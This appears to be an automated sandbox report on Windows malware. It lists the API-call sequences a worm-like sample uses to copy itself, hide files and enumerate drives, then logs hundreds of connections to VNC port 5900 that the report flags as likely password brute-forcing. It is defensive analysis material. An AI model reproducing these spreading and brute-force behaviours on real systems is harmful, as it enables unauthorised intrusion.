Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00403775 GetTickCount,srand,memset,memset,memset,memset,memset,memset,_snwprintf,_snwprintf,_snwprintf,_snwprintf,_snwprintf,_snwprintf,Sleep,_wfopen,fseek,ftell,fclose,SetFileAttributesW,DeleteFileW,Sleep,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,Sleep,SetFileAttributesW,Sleep,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,Sleep,PathFileExistsW,CopyFileW,SetFileAttributesW,Sleep,PathFileExistsW,_wfopen,fprintf,fclose,SetFileAttributesW,Sleep,FindFirstFileW,memset,_snwprintf,SetFileAttributesW,DeleteFileW,Sleep,PathFileExistsW,memset,memset,_snwprintf,_snwprintf,SetFileAttributesW,PathFileExistsW,PathFileExistsW,GetFileAttributesW,memset,_snwprintf,ShellExecuteW,DeleteFileW,memset,_snwprintf,ShellExecuteW,FindNextFileW,FindClose,	2_2_00403775
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00413030 FindFirstFileW,FindNextFileW,FindClose,	9_2_00413030
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_004119A8 FindFirstFileW,FindNextFileW,FindClose,	9_2_004119A8
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_004119AC FindFirstFileW,FindNextFileW,FindClose,	9_2_004119AC
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00412D6C FindFirstFileW,FindNextFileW,FindClose,	9_2_00412D6C
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_0041160C FindFirstFileW,FindNextFileW,FindClose,	9_2_0041160C
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	9_2_00413F58
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	9_2_00413F58

Contains functionality to query local drives

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Code function: 1_2_0040599A memset,memset,memset,memset,GetModuleFileNameW,ExpandEnvironmentStringsW,GetLogicalDriveStringsW,GetTickCount,srand,_snwprintf,CopyFileW,SetFileAttributesW,GetDriveTypeW,SetCurrentDirectoryW,ExitThread,

1_2_0040599A

Networking:

Connects to many VNC servers (likely to brute force passwords)

Show sources

Source: global traffic	TCP traffic: 192.168.1.81:49164 -> 193.84.183.108:5900
Source: global traffic	TCP traffic: 192.168.1.81:49165 -> 52.193.187.127:5900
Source: global traffic	TCP traffic: 192.168.1.81:49166 -> 196.248.164.228:5900
Source: global traffic	TCP traffic: 192.168.1.81:49167 -> 70.159.137.143:5900
Source: global traffic	TCP traffic: 192.168.1.81:49168 -> 209.161.102.68:5900
Source: global traffic	TCP traffic: 192.168.1.81:49169 -> 164.187.57.216:5900
Source: global traffic	TCP traffic: 192.168.1.81:49170 -> 206.95.101.8:5900
Source: global traffic	TCP traffic: 192.168.1.81:49171 -> 47.206.134.177:5900
Source: global traffic	TCP traffic: 192.168.1.81:49172 -> 209.13.64.156:5900
Source: global traffic	TCP traffic: 192.168.1.81:49173 -> 73.106.85.227:5900
Source: global traffic	TCP traffic: 192.168.1.81:49174 -> 110.132.218.73:5900
Source: global traffic	TCP traffic: 192.168.1.81:49175 -> 64.197.198.131:5900
Source: global traffic	TCP traffic: 192.168.1.81:49176 -> 60.92.163.200:5900
Source: global traffic	TCP traffic: 192.168.1.81:49177 -> 102.205.233.176:5900
Source: global traffic	TCP traffic: 192.168.1.81:49178 -> 179.9.122.200:5900
Source: global traffic	TCP traffic: 192.168.1.81:49179 -> 86.210.123.121:5900
Source: global traffic	TCP traffic: 192.168.1.81:49180 -> 31.143.153.87:5900
Source: global traffic	TCP traffic: 192.168.1.81:49181 -> 181.217.178.184:5900
Source: global traffic	TCP traffic: 192.168.1.81:49182 -> 103.234.94.196:5900
Source: global traffic	TCP traffic: 192.168.1.81:49183 -> 206.124.175.43:5900
Source: global traffic	TCP traffic: 192.168.1.81:49184 -> 136.162.147.66:5900
Source: global traffic	TCP traffic: 192.168.1.81:49185 -> 159.67.53.50:5900
Source: global traffic	TCP traffic: 192.168.1.81:49186 -> 197.175.77.110:5900
Source: global traffic	TCP traffic: 192.168.1.81:49187 -> 206.134.175.39:5900
Source: global traffic	TCP traffic: 192.168.1.81:49188 -> 50.224.155.109:5900
Source: global traffic	TCP traffic: 192.168.1.81:49189 -> 205.105.12.187:5900
Source: global traffic	TCP traffic: 192.168.1.81:49190 -> 121.228.140.22:5900
Source: global traffic	TCP traffic: 192.168.1.81:49191 -> 131.219.226.240:5900
Source: global traffic	TCP traffic: 192.168.1.81:49192 -> 140.207.122.167:5900
Source: global traffic	TCP traffic: 192.168.1.81:49193 -> 65.183.241.20:5900
Source: global traffic	TCP traffic: 192.168.1.81:49194 -> 124.61.174.27:5900
Source: global traffic	TCP traffic: 192.168.1.81:49195 -> 189.96.222.211:5900
Source: global traffic	TCP traffic: 192.168.1.81:49196 -> 209.128.204.248:5900
Source: global traffic	TCP traffic: 192.168.1.81:49197 -> 110.252.88.100:5900
Source: global traffic	TCP traffic: 192.168.1.81:49198 -> 124.94.28.194:5900
Source: global traffic	TCP traffic: 192.168.1.81:49199 -> 39.63.119.47:5900
Source: global traffic	TCP traffic: 192.168.1.81:49200 -> 140.98.14.242:5900
Source: global traffic	TCP traffic: 192.168.1.81:49201 -> 32.55.121.23:5900
Source: global traffic	TCP traffic: 192.168.1.81:49202 -> 178.52.40.2:5900
Source: global traffic	TCP traffic: 192.168.1.81:49203 -> 148.188.202.201:5900
Source: global traffic	TCP traffic: 192.168.1.81:49204 -> 49.15.45.130:5900
Source: global traffic	TCP traffic: 192.168.1.81:49205 -> 197.100.95.35:5900
Source: global traffic	TCP traffic: 192.168.1.81:49206 -> 118.60.32.207:5900
Source: global traffic	TCP traffic: 192.168.1.81:49207 -> 134.6.87.33:5900
Source: global traffic	TCP traffic: 192.168.1.81:49208 -> 41.158.24.64:5900
Source: global traffic	TCP traffic: 192.168.1.81:49209 -> 56.83.252.224:5900
Source: global traffic	TCP traffic: 192.168.1.81:49210 -> 198.88.89.118:5900
Source: global traffic	TCP traffic: 192.168.1.81:49211 -> 182.126.7.55:5900
Source: global traffic	TCP traffic: 192.168.1.81:49212 -> 181.243.78.59:5900
Source: global traffic	TCP traffic: 192.168.1.81:49213 -> 197.240.184.209:5900
Source: global traffic	TCP traffic: 192.168.1.81:49214 -> 146.34.67.227:5900
Source: global traffic	TCP traffic: 192.168.1.81:49215 -> 60.20.193.230:5900
Source: global traffic	TCP traffic: 192.168.1.81:49216 -> 82.141.115.207:5900
Source: global traffic	TCP traffic: 192.168.1.81:49217 -> 204.53.116.244:5900
Source: global traffic	TCP traffic: 192.168.1.81:49218 -> 199.10.125.48:5900
Source: global traffic	TCP traffic: 192.168.1.81:49219 -> 121.88.217.116:5900
Source: global traffic	TCP traffic: 192.168.1.81:49220 -> 198.250.210.43:5900
Source: global traffic	TCP traffic: 192.168.1.81:49221 -> 197.254.63.202:5900
Source: global traffic	TCP traffic: 192.168.1.81:49222 -> 178.80.75.134:5900
Source: global traffic	TCP traffic: 192.168.1.81:49223 -> 128.251.148.136:5900
Source: global traffic	TCP traffic: 192.168.1.81:49224 -> 149.53.217.82:5900
Source: global traffic	TCP traffic: 192.168.1.81:49225 -> 185.148.190.153:5900
Source: global traffic	TCP traffic: 192.168.1.81:49226 -> 112.74.105.168:5900
Source: global traffic	TCP traffic: 192.168.1.81:49227 -> 82.43.9.38:5900
Source: global traffic	TCP traffic: 192.168.1.81:49228 -> 97.92.239.78:5900
Source: global traffic	TCP traffic: 192.168.1.81:49229 -> 92.166.214.103:5900
Source: global traffic	TCP traffic: 192.168.1.81:49230 -> 33.247.126.241:5900
Source: global traffic	TCP traffic: 192.168.1.81:49231 -> 181.176.55.185:5900
Source: global traffic	TCP traffic: 192.168.1.81:49232 -> 144.10.18.167:5900
Source: global traffic	TCP traffic: 192.168.1.81:49233 -> 95.31.171.105:5900
Source: global traffic	TCP traffic: 192.168.1.81:49234 -> 137.242.165.190:5900
Source: global traffic	TCP traffic: 192.168.1.81:49235 -> 169.23.27.120:5900
Source: global traffic	TCP traffic: 192.168.1.81:49236 -> 152.136.35.86:5900
Source: global traffic	TCP traffic: 192.168.1.81:49237 -> 195.215.75.184:5900
Source: global traffic	TCP traffic: 192.168.1.81:49238 -> 35.51.23.100:5900
Source: global traffic	TCP traffic: 192.168.1.81:49239 -> 53.106.222.131:5900
Source: global traffic	TCP traffic: 192.168.1.81:49240 -> 195.34.61.233:5900
Source: global traffic	TCP traffic: 192.168.1.81:49241 -> 190.34.221.99:5900
Source: global traffic	TCP traffic: 192.168.1.81:49242 -> 59.125.87.9:5900
Source: global traffic	TCP traffic: 192.168.1.81:49243 -> 128.231.188.3:5900
Source: global traffic	TCP traffic: 192.168.1.81:49244 -> 78.178.39.174:5900
Source: global traffic	TCP traffic: 192.168.1.81:49245 -> 45.97.205.110:5900
Source: global traffic	TCP traffic: 192.168.1.81:49246 -> 57.205.165.184:5900
Source: global traffic	TCP traffic: 192.168.1.81:49247 -> 105.160.65.146:5900
Source: global traffic	TCP traffic: 192.168.1.81:49248 -> 201.3.109.74:5900
Source: global traffic	TCP traffic: 192.168.1.81:49249 -> 125.80.85.136:5900
Source: global traffic	TCP traffic: 192.168.1.81:49250 -> 62.46.166.133:5900
Source: global traffic	TCP traffic: 192.168.1.81:49251 -> 151.60.134.2:5900
Source: global traffic	TCP traffic: 192.168.1.81:49252 -> 44.100.213.199:5900
Source: global traffic	TCP traffic: 192.168.1.81:49254 -> 154.226.131.82:5900
Source: global traffic	TCP traffic: 192.168.1.81:49255 -> 119.146.253.116:5900
Source: global traffic	TCP traffic: 192.168.1.81:49256 -> 111.34.119.126:5900
Source: global traffic	TCP traffic: 192.168.1.81:49257 -> 115.44.143.80:5900
Source: global traffic	TCP traffic: 192.168.1.81:49258 -> 141.232.31.220:5900
Source: global traffic	TCP traffic: 192.168.1.81:49259 -> 136.103.41.236:5900
Source: global traffic	TCP traffic: 192.168.1.81:49260 -> 162.129.183.76:5900
Source: global traffic	TCP traffic: 192.168.1.81:49261 -> 91.13.42.157:5900
Source: global traffic	TCP traffic: 192.168.1.81:49262 -> 107.228.51.243:5900
Source: global traffic	TCP traffic: 192.168.1.81:49263 -> 179.216.17.136:5900
Source: global traffic	TCP traffic: 192.168.1.81:49264 -> 40.36.190.149:5900
Source: global traffic	TCP traffic: 192.168.1.81:49265 -> 97.102.169.61:5900
Source: global traffic	TCP traffic: 192.168.1.81:49266 -> 82.90.32.243:5900
Source: global traffic	TCP traffic: 192.168.1.81:49267 -> 49.171.147.226:5900
Source: global traffic	TCP traffic: 192.168.1.81:49268 -> 79.56.91.61:5900
Source: global traffic	TCP traffic: 192.168.1.81:49269 -> 206.145.15.236:5900
Source: global traffic	TCP traffic: 192.168.1.81:49270 -> 198.153.44.151:5900
Source: global traffic	TCP traffic: 192.168.1.81:49271 -> 170.134.28.234:5900
Source: global traffic	TCP traffic: 192.168.1.81:49272 -> 93.167.77.41:5900
Source: global traffic	TCP traffic: 192.168.1.81:49273 -> 124.55.239.223:5900
Source: global traffic	TCP traffic: 192.168.1.81:49274 -> 133.22.19.69:5900
Source: global traffic	TCP traffic: 192.168.1.81:49275 -> 76.69.46.175:5900
Source: global traffic	TCP traffic: 192.168.1.81:49276 -> 189.99.80.150:5900
Source: global traffic	TCP traffic: 192.168.1.81:49277 -> 174.26.128.22:5900
Source: global traffic	TCP traffic: 192.168.1.81:49278 -> 150.50.19.101:5900
Source: global traffic	TCP traffic: 192.168.1.81:49279 -> 195.69.116.52:5900
Source: global traffic	TCP traffic: 192.168.1.81:49280 -> 170.105.169.42:5900
Source: global traffic	TCP traffic: 192.168.1.81:49281 -> 120.19.5.44:5900
Source: global traffic	TCP traffic: 192.168.1.81:49282 -> 141.59.84.62:5900
Source: global traffic	TCP traffic: 192.168.1.81:49283 -> 205.138.73.124:5900
Source: global traffic	TCP traffic: 192.168.1.81:49284 -> 130.18.17.31:5900
Source: global traffic	TCP traffic: 192.168.1.81:49285 -> 52.107.224.109:5900
Source: global traffic	TCP traffic: 192.168.1.81:49286 -> 162.128.126.164:5900
Source: global traffic	TCP traffic: 192.168.1.81:49287 -> 163.207.56.238:5900
Source: global traffic	TCP traffic: 192.168.1.81:49288 -> 181.139.50.179:5900
Source: global traffic	TCP traffic: 192.168.1.81:49289 -> 198.77.87.105:5900
Source: global traffic	TCP traffic: 192.168.1.81:49290 -> 144.96.120.33:5900
Source: global traffic	TCP traffic: 192.168.1.81:49291 -> 209.184.75.118:5900
Source: global traffic	TCP traffic: 192.168.1.81:49292 -> 202.42.229.175:5900
Source: global traffic	TCP traffic: 192.168.1.81:49293 -> 151.254.94.159:5900
Source: global traffic	TCP traffic: 192.168.1.81:49294 -> 152.107.52.30:5900
Source: global traffic	TCP traffic: 192.168.1.81:49295 -> 162.12.33.177:5900
Source: global traffic	TCP traffic: 192.168.1.81:49296 -> 101.238.247.182:5900
Source: global traffic	TCP traffic: 192.168.1.81:49297 -> 168.194.64.30:5900
Source: global traffic	TCP traffic: 192.168.1.81:49298 -> 166.197.28.137:5900
Source: global traffic	TCP traffic: 192.168.1.81:49299 -> 80.254.51.240:5900
Source: global traffic	TCP traffic: 192.168.1.81:49300 -> 151.213.182.150:5900
Source: global traffic	TCP traffic: 192.168.1.81:49301 -> 143.46.173.81:5900
Source: global traffic	TCP traffic: 192.168.1.81:49302 -> 64.248.164.36:5900
Source: global traffic	TCP traffic: 192.168.1.81:49303 -> 203.121.235.17:5900
Source: global traffic	TCP traffic: 192.168.1.81:49304 -> 37.41.254.20:5900
Source: global traffic	TCP traffic: 192.168.1.81:49305 -> 176.245.74.83:5900
Source: global traffic	TCP traffic: 192.168.1.81:49306 -> 90.66.217.80:5900
Source: global traffic	TCP traffic: 192.168.1.81:49307 -> 38.239.47.62:5900
Source: global traffic	TCP traffic: 192.168.1.81:49308 -> 79.78.209.66:5900
Source: global traffic	TCP traffic: 192.168.1.81:49309 -> 72.62.66.187:5900
Source: global traffic	TCP traffic: 192.168.1.81:49310 -> 118.100.241.98:5900
Source: global traffic	TCP traffic: 192.168.1.81:49311 -> 76.44.114.207:5900
Source: global traffic	TCP traffic: 192.168.1.81:49312 -> 97.22.222.76:5900
Source: global traffic	TCP traffic: 192.168.1.81:49313 -> 165.109.82.242:5900
Source: global traffic	TCP traffic: 192.168.1.81:49314 -> 136.114.92.240:5900
Source: global traffic	TCP traffic: 192.168.1.81:49315 -> 136.163.194.144:5900
Source: global traffic	TCP traffic: 192.168.1.81:49316 -> 85.15.152.201:5900
Source: global traffic	TCP traffic: 192.168.1.81:49317 -> 175.247.226.125:5900
Source: global traffic	TCP traffic: 192.168.1.81:49318 -> 190.41.82.38:5900
Source: global traffic	TCP traffic: 192.168.1.81:49319 -> 73.191.223.147:5900
Source: global traffic	TCP traffic: 192.168.1.81:49320 -> 177.83.66.136:5900
Source: global traffic	TCP traffic: 192.168.1.81:49321 -> 83.179.11.78:5900
Source: global traffic	TCP traffic: 192.168.1.81:49322 -> 181.53.100.12:5900
Source: global traffic	TCP traffic: 192.168.1.81:49323 -> 37.53.195.128:5900
Source: global traffic	TCP traffic: 192.168.1.81:49324 -> 66.88.1.227:5900
Source: global traffic	TCP traffic: 192.168.1.81:49325 -> 87.39.171.150:5900
Source: global traffic	TCP traffic: 192.168.1.81:49326 -> 141.137.143.97:5900
Source: global traffic	TCP traffic: 192.168.1.81:49327 -> 120.208.181.103:5900
Source: global traffic	TCP traffic: 192.168.1.81:49328 -> 181.66.232.17:5900
Source: global traffic	TCP traffic: 192.168.1.81:49329 -> 31.215.121.150:5900
Source: global traffic	TCP traffic: 192.168.1.81:49330 -> 113.69.219.12:5900
Source: global traffic	TCP traffic: 192.168.1.81:49331 -> 88.47.19.111:5900
Source: global traffic	TCP traffic: 192.168.1.81:49332 -> 208.157.13.236:5900
Source: global traffic	TCP traffic: 192.168.1.81:49333 -> 158.10.9.43:5900
Source: global traffic	TCP traffic: 192.168.1.81:49334 -> 159.1.201.57:5900
Source: global traffic	TCP traffic: 192.168.1.81:49335 -> 178.137.166.87:5900
Source: global traffic	TCP traffic: 192.168.1.81:49336 -> 112.236.246.101:5900
Source: global traffic	TCP traffic: 192.168.1.81:49337 -> 149.65.107.228:5900
Source: global traffic	TCP traffic: 192.168.1.81:49338 -> 193.119.13.18:5900
Source: global traffic	TCP traffic: 192.168.1.81:49339 -> 42.217.108.236:5900
Source: global traffic	TCP traffic: 192.168.1.81:49340 -> 159.46.202.202:5900
Source: global traffic	TCP traffic: 192.168.1.81:49341 -> 85.116.48.59:5900
Source: global traffic	TCP traffic: 192.168.1.81:49342 -> 78.246.67.92:5900
Source: global traffic	TCP traffic: 192.168.1.81:49343 -> 32.20.96.109:5900
Source: global traffic	TCP traffic: 192.168.1.81:49344 -> 50.136.177.53:5900
Source: global traffic	TCP traffic: 192.168.1.81:49345 -> 113.156.78.23:5900
Source: global traffic	TCP traffic: 192.168.1.81:49346 -> 92.114.39.214:5900
Source: global traffic	TCP traffic: 192.168.1.81:49347 -> 148.102.62.255:5900
Source: global traffic	TCP traffic: 192.168.1.81:49348 -> 103.213.139.113:5900
Source: global traffic	TCP traffic: 192.168.1.81:49349 -> 151.217.159.7:5900
Source: global traffic	TCP traffic: 192.168.1.81:49350 -> 161.142.147.137:5900
Source: global traffic	TCP traffic: 192.168.1.81:49351 -> 106.69.44.101:5900
Source: global traffic	TCP traffic: 192.168.1.81:49352 -> 114.175.128.41:5900
Source: global traffic	TCP traffic: 192.168.1.81:49353 -> 146.226.82.132:5900
Source: global traffic	TCP traffic: 192.168.1.81:49354 -> 95.163.78.242:5900
Source: global traffic	TCP traffic: 192.168.1.81:49355 -> 84.136.13.178:5900
Source: global traffic	TCP traffic: 192.168.1.81:49356 -> 195.126.52.78:5900
Source: global traffic	TCP traffic: 192.168.1.81:49357 -> 72.218.47.82:5900
Source: global traffic	TCP traffic: 192.168.1.81:49358 -> 39.107.79.6:5900
Source: global traffic	TCP traffic: 192.168.1.81:49359 -> 159.68.187.184:5900
Source: global traffic	TCP traffic: 192.168.1.81:49360 -> 155.119.8.38:5900
Source: global traffic	TCP traffic: 192.168.1.81:49361 -> 78.166.245.178:5900
Source: global traffic	TCP traffic: 192.168.1.81:49362 -> 187.15.61.69:5900
Source: global traffic	TCP traffic: 192.168.1.81:49363 -> 158.5.218.248:5900
Source: global traffic	TCP traffic: 192.168.1.81:49364 -> 92.41.151.61:5900
Source: global traffic	TCP traffic: 192.168.1.81:49365 -> 61.225.54.99:5900
Source: global traffic	TCP traffic: 192.168.1.81:49366 -> 85.36.9.215:5900
Source: global traffic	TCP traffic: 192.168.1.81:49367 -> 153.138.117.104:5900
Source: global traffic	TCP traffic: 192.168.1.81:49368 -> 80.228.25.44:5900
Source: global traffic	TCP traffic: 192.168.1.81:49369 -> 113.198.162.79:5900
Source: global traffic	TCP traffic: 192.168.1.81:49370 -> 203.44.32.107:5900
Source: global traffic	TCP traffic: 192.168.1.81:49371 -> 60.123.81.171:5900
Source: global traffic	TCP traffic: 192.168.1.81:49372 -> 52.107.128.68:5900
Source: global traffic	TCP traffic: 192.168.1.81:49373 -> 109.15.20.77:5900
Source: global traffic	TCP traffic: 192.168.1.81:49374 -> 126.4.62.168:5900
Source: global traffic	TCP traffic: 192.168.1.81:49375 -> 40.98.166.107:5900
Source: global traffic	TCP traffic: 192.168.1.81:49376 -> 209.33.212.253:5900
Source: global traffic	TCP traffic: 192.168.1.81:49377 -> 76.71.158.227:5900
Source: global traffic	TCP traffic: 192.168.1.81:49378 -> 121.208.187.128:5900
Source: global traffic	TCP traffic: 192.168.1.81:49379 -> 203.138.169.226:5900
Source: global traffic	TCP traffic: 192.168.1.81:49380 -> 186.70.119.238:5900
Source: global traffic	TCP traffic: 192.168.1.81:49381 -> 197.25.94.114:5900
Source: global traffic	TCP traffic: 192.168.1.81:49382 -> 160.43.40.28:5900
Source: global traffic	TCP traffic: 192.168.1.81:49383 -> 177.149.161.151:5900
Source: global traffic	TCP traffic: 192.168.1.81:49384 -> 115.204.242.207:5900
Source: global traffic	TCP traffic: 192.168.1.81:49385 -> 198.148.181.221:5900
Source: global traffic	TCP traffic: 192.168.1.81:49386 -> 173.148.64.12:5900
Source: global traffic	TCP traffic: 192.168.1.81:49387 -> 94.116.124.206:5900
Source: global traffic	TCP traffic: 192.168.1.81:49388 -> 180.47.249.220:5900
Source: global traffic	TCP traffic: 192.168.1.81:49389 -> 106.141.74.41:5900
Source: global traffic	TCP traffic: 192.168.1.81:49390 -> 183.254.232.218:5900
Source: global traffic	TCP traffic: 192.168.1.81:49391 -> 181.71.51.25:5900
Source: global traffic	TCP traffic: 192.168.1.81:49392 -> 51.174.174.51:5900
Source: global traffic	TCP traffic: 192.168.1.81:49393 -> 126.50.46.8:5900
Source: global traffic	TCP traffic: 192.168.1.81:49394 -> 166.218.10.183:5900
Source: global traffic	TCP traffic: 192.168.1.81:49395 -> 113.187.129.114:5900
Source: global traffic	TCP traffic: 192.168.1.81:49396 -> 84.198.116.130:5900
Source: global traffic	TCP traffic: 192.168.1.81:49397 -> 150.103.138.85:5900
Source: global traffic	TCP traffic: 192.168.1.81:49398 -> 209.161.7.40:5900
Source: global traffic	TCP traffic: 192.168.1.81:49399 -> 182.158.70.163:5900
Source: global traffic	TCP traffic: 192.168.1.81:49400 -> 160.97.52.121:5900
Source: global traffic	TCP traffic: 192.168.1.81:49401 -> 200.147.181.216:5900
Source: global traffic	TCP traffic: 192.168.1.81:49402 -> 171.36.80.87:5900
Source: global traffic	TCP traffic: 192.168.1.81:49403 -> 201.167.15.141:5900
Source: global traffic	TCP traffic: 192.168.1.81:49404 -> 132.42.107.147:5900
Source: global traffic	TCP traffic: 192.168.1.81:49405 -> 68.114.60.162:5900
Source: global traffic	TCP traffic: 192.168.1.81:49406 -> 138.91.117.103:5900
Source: global traffic	TCP traffic: 192.168.1.81:49407 -> 166.93.187.238:5900
Source: global traffic	TCP traffic: 192.168.1.81:49408 -> 144.227.244.78:5900
Source: global traffic	TCP traffic: 192.168.1.81:49409 -> 195.185.175.65:5900
Source: global traffic	TCP traffic: 192.168.1.81:49410 -> 141.133.191.245:5900
Source: global traffic	TCP traffic: 192.168.1.81:49411 -> 139.149.254.145:5900
Source: global traffic	TCP traffic: 192.168.1.81:49412 -> 125.188.142.96:5900
Source: global traffic	TCP traffic: 192.168.1.81:49413 -> 47.246.249.225:5900
Source: global traffic	TCP traffic: 192.168.1.81:49414 -> 200.54.202.11:5900
Source: global traffic	TCP traffic: 192.168.1.81:49415 -> 134.30.209.69:5900
Source: global traffic	TCP traffic: 192.168.1.81:49416 -> 35.22.36.138:5900
Source: global traffic	TCP traffic: 192.168.1.81:49417 -> 202.231.153.47:5900
Source: global traffic	TCP traffic: 192.168.1.81:49418 -> 45.230.66.38:5900
Source: global traffic	TCP traffic: 192.168.1.81:49419 -> 66.196.165.221:5900
Source: global traffic	TCP traffic: 192.168.1.81:49420 -> 207.154.70.131:5900
Source: global traffic	TCP traffic: 192.168.1.81:49421 -> 163.196.176.68:5900
Source: global traffic	TCP traffic: 192.168.1.81:49422 -> 97.26.27.93:5900
Source: global traffic	TCP traffic: 192.168.1.81:49423 -> 131.38.211.145:5900
Source: global traffic	TCP traffic: 192.168.1.81:49424 -> 128.221.146.210:5900
Source: global traffic	TCP traffic: 192.168.1.81:49425 -> 161.1.209.192:5900
Source: global traffic	TCP traffic: 192.168.1.81:49426 -> 206.161.91.63:5900
Source: global traffic	TCP traffic: 192.168.1.81:49427 -> 63.126.169.65:5900
Source: global traffic	TCP traffic: 192.168.1.81:49428 -> 204.163.187.163:5900
Source: global traffic	TCP traffic: 192.168.1.81:49429 -> 194.152.8.30:5900
Source: global traffic	TCP traffic: 192.168.1.81:49430 -> 190.248.248.205:5900
Source: global traffic	TCP traffic: 192.168.1.81:49431 -> 115.181.34.18:5900
Source: global traffic	TCP traffic: 192.168.1.81:49432 -> 207.219.240.120:5900
Source: global traffic	TCP traffic: 192.168.1.81:49433 -> 195.210.96.129:5900
Source: global traffic	TCP traffic: 192.168.1.81:49434 -> 93.5.168.228:5900
Source: global traffic	TCP traffic: 192.168.1.81:49435 -> 168.177.91.251:5900
Source: global traffic	TCP traffic: 192.168.1.81:49436 -> 173.200.67.228:5900
Source: global traffic	TCP traffic: 192.168.1.81:49437 -> 201.105.152.180:5900
Source: global traffic	TCP traffic: 192.168.1.81:49438 -> 181.32.70.86:5900
Source: global traffic	TCP traffic: 192.168.1.81:49439 -> 40.89.201.212:5900
Source: global traffic	TCP traffic: 192.168.1.81:49440 -> 104.81.100.187:5900
Source: global traffic	TCP traffic: 192.168.1.81:49441 -> 84.84.62.86:5900
Source: global traffic	TCP traffic: 192.168.1.81:49442 -> 76.166.148.91:5900
Source: global traffic	TCP traffic: 192.168.1.81:49443 -> 141.99.37.109:5900
Source: global traffic	TCP traffic: 192.168.1.81:49444 -> 36.18.29.135:5900
Source: global traffic	TCP traffic: 192.168.1.81:49445 -> 130.39.25.237:5900
Source: global traffic	TCP traffic: 192.168.1.81:49446 -> 128.75.18.205:5900
Source: global traffic	TCP traffic: 192.168.1.81:49447 -> 137.62.237.86:5900
Source: global traffic	TCP traffic: 192.168.1.81:49448 -> 134.76.242.197:5900
Source: global traffic	TCP traffic: 192.168.1.81:49449 -> 141.175.178.22:5900
Source: global traffic	TCP traffic: 192.168.1.81:49450 -> 72.179.145.123:5900
Source: global traffic	TCP traffic: 192.168.1.81:49451 -> 33.158.32.57:5900
Source: global traffic	TCP traffic: 192.168.1.81:49452 -> 38.207.28.83:5900
Source: global traffic	TCP traffic: 192.168.1.81:49453 -> 61.133.159.116:5900
Source: global traffic	TCP traffic: 192.168.1.81:49454 -> 56.157.19.2:5900
Source: global traffic	TCP traffic: 192.168.1.81:49455 -> 191.115.28.235:5900
Source: global traffic	TCP traffic: 192.168.1.81:49456 -> 200.135.156.78:5900
Source: global traffic	TCP traffic: 192.168.1.81:49457 -> 193.177.207.169:5900
Source: global traffic	TCP traffic: 192.168.1.81:49458 -> 190.184.158.11:5900
Source: global traffic	TCP traffic: 192.168.1.81:49459 -> 93.29.96.65:5900
Source: global traffic	TCP traffic: 192.168.1.81:49460 -> 135.240.151.221:5900
Source: global traffic	TCP traffic: 192.168.1.81:49461 -> 128.140.101.42:5900
Source: global traffic	TCP traffic: 192.168.1.81:49462 -> 86.117.196.219:5900
Source: global traffic	TCP traffic: 192.168.1.81:49463 -> 134.73.191.26:5900
Source: global traffic	TCP traffic: 192.168.1.81:49464 -> 136.12.46.50:5900
Source: global traffic	TCP traffic: 192.168.1.81:49465 -> 121.147.195.125:5900
Source: global traffic	TCP traffic: 192.168.1.81:49466 -> 73.12.234.98:5900
Source: global traffic	TCP traffic: 192.168.1.81:49467 -> 110.57.49.117:5900
Source: global traffic	TCP traffic: 192.168.1.81:49468 -> 61.123.203.140:5900
Source: global traffic	TCP traffic: 192.168.1.81:49469 -> 71.188.122.109:5900
Source: global traffic	TCP traffic: 192.168.1.81:49470 -> 76.191.68.201:5900
Source: global traffic	TCP traffic: 192.168.1.81:49471 -> 55.139.95.63:5900
Source: global traffic	TCP traffic: 192.168.1.81:49472 -> 131.216.179.148:5900
Source: global traffic	TCP traffic: 192.168.1.81:49473 -> 204.196.85.94:5900
Source: global traffic	TCP traffic: 192.168.1.81:49474 -> 121.50.105.199:5900
Source: global traffic	TCP traffic: 192.168.1.81:49475 -> 60.16.188.36:5900
Source: global traffic	TCP traffic: 192.168.1.81:49476 -> 133.130.110.25:5900
Source: global traffic	TCP traffic: 192.168.1.81:49477 -> 67.174.96.104:5900
Source: global traffic	TCP traffic: 192.168.1.81:49478 -> 197.24.144.94:5900
Source: global traffic	TCP traffic: 192.168.1.81:49479 -> 156.225.143.140:5900
Source: global traffic	TCP traffic: 192.168.1.81:49480 -> 58.53.189.27:5900
Source: global traffic	TCP traffic: 192.168.1.81:49481 -> 173.128.179.102:5900
Source: global traffic	TCP traffic: 192.168.1.81:49482 -> 103.67.132.132:5900
Source: global traffic	TCP traffic: 192.168.1.81:49483 -> 94.211.218.130:5900
Source: global traffic	TCP traffic: 192.168.1.81:49484 -> 186.209.40.234:5900
Source: global traffic	TCP traffic: 192.168.1.81:49485 -> 83.186.124.117:5900
Source: global traffic	TCP traffic: 192.168.1.81:49486 -> 64.82.60.222:5900
Source: global traffic	TCP traffic: 192.168.1.81:49487 -> 200.222.188.208:5900
Source: global traffic	TCP traffic: 192.168.1.81:49488 -> 77.142.119.18:5900
Source: global traffic	TCP traffic: 192.168.1.81:49489 -> 135.144.38.183:5900
Source: global traffic	TCP traffic: 192.168.1.81:49490 -> 99.159.95.6:5900
Source: global traffic	TCP traffic: 192.168.1.81:49491 -> 122.154.16.84:5900
Source: global traffic	TCP traffic: 192.168.1.81:49492 -> 65.160.161.13:5900
Source: global traffic	TCP traffic: 192.168.1.81:49493 -> 37.75.69.187:5900
Source: global traffic	TCP traffic: 192.168.1.81:49494 -> 138.165.167.74:5900
Source: global traffic	TCP traffic: 192.168.1.81:49495 -> 190.184.244.189:5900
Source: global traffic	TCP traffic: 192.168.1.81:49496 -> 87.209.235.36:5900
Source: global traffic	TCP traffic: 192.168.1.81:49497 -> 91.147.13.113:5900
Source: global traffic	TCP traffic: 192.168.1.81:49498 -> 86.100.161.111:5900
Source: global traffic	TCP traffic: 192.168.1.81:49499 -> 186.206.165.12:5900
